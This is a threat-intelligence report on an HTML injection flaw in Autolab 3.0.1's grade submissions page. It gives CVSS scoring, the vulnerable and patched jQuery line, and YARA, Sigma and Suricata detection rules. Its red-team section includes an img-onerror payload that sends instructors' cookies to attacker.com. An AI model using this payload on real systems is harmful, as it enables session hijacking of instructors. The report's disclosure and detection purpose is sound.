CVE-2024-52585

Executive Summary

CVE-2024-52585 is an HTML injection vulnerability in Autolab, a course management service for auto-graded programming assignments. The vulnerability exists in version 3.0.1 and affects the grade submissions page, allowing an attacker to inject arbitrary HTML into the feedback field. This can be used to perform phishing attacks, defacement, or other client-side attacks against instructors and CAs (Course Assistants) who view the grade submissions page. The vulnerability is patched in version 3.0.2 by sanitizing the feedback input to be treated as text rather than HTML.

Supply Chain & Package Security

Autolab is a Ruby on Rails application. The vulnerability is introduced in the gradesheet.js.erb file, which is part of the core application code. No third-party package dependency is directly responsible for this vulnerability. However, the application may rely on JavaScript libraries for rendering, and the lack of output encoding in the feedback field is the root cause. Users should ensure all dependencies are up to date and that the application is patched to version 3.0.2.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid student account to submit feedback.
• User Interaction (UI): Required (R) – The victim (instructor/CA) must view the grade submissions page.
• Scope (S): Changed (C) – The impact can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but it can be used to craft convincing phishing attacks or steal session cookies from instructors.

Deep Dive & Mechanics

The vulnerability resides in the gradesheet.js.erb file, specifically in the code that renders feedback for grade submissions. In version 3.0.1, the feedback content is inserted into the DOM using .html() or similar methods that interpret the input as HTML. This allows an attacker to inject arbitrary HTML tags, such as <script>, <img>, or <iframe>, into the feedback field.

When an instructor or CA views the grade submissions page, the injected HTML is executed in their browser context. This can lead to:

• Phishing: Displaying fake login forms to steal credentials.
• Session Hijacking: Using <script> tags to exfiltrate cookies.
• Defacement: Altering the appearance of the page.

The root cause is the lack of output encoding. The application should use .text() instead of .html() to treat the feedback as plain text, preventing HTML interpretation.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.0.1):

// gradesheet.js.erb (line 589)
$('#feedback').html(feedback_content);

Patched Code (version 3.0.2):

// gradesheet.js.erb (line 589)
$('#feedback').text(feedback_content);

The change from .html() to .text() ensures that any HTML tags in the feedback content are escaped and displayed as plain text, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid student account on an Autolab instance running version 3.0.1.
• Access to the grade submission feedback field.

Exploitation Steps:

1. Log in as a student.
2. Submit a grade assignment with the following payload in the feedback field:

   <script>alert('XSS')</script>
   

3. Wait for an instructor or CA to view the grade submissions page.
4. The injected script executes in the victim's browser.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual feedback content containing HTML tags.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Apply the patch by upgrading to version 3.0.2.
• If patching is not immediately possible, manually edit gradesheet.js.erb to use .text() instead of .html().

Honeypot:

• Create a fake grade submission page that logs all feedback content for analysis.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /submissions/ with feedback parameters containing HTML tags.
• File: Modified gradesheet.js.erb file (if patched manually).
• Log: Application logs showing feedback content with <script>, <img>, or <iframe> tags.
• Behavior: Unusual JavaScript execution in the browser when viewing grade submissions.

Detection Engineering

YARA Rule

rule CVE_2024_52585_Autolab_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Autolab feedback fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52585"
    strings:
        $html_inject = /<[^>]*script[^>]*>/i
        $html_inject2 = /<[^>]*onerror[^>]*>/i
        $html_inject3 = /<[^>]*onload[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: Autolab HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTML injection attempts in Autolab grade submission feedback
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: autolab
detection:
    selection:
        feedback|contains:
            - '<script'
            - '<img'
            - '<iframe'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in feedback (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52585 Autolab HTML Injection Attempt"; flow:to_server; content:"feedback"; nocase; pcre:"/<[^>]*script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Autolab to version 3.0.2.
2. If upgrade is not possible, manually edit gradesheet.js.erb line 589 to use .text() instead of .html().

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other parts of the application.

Workaround:

• Disable the feedback feature temporarily if patching is delayed.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.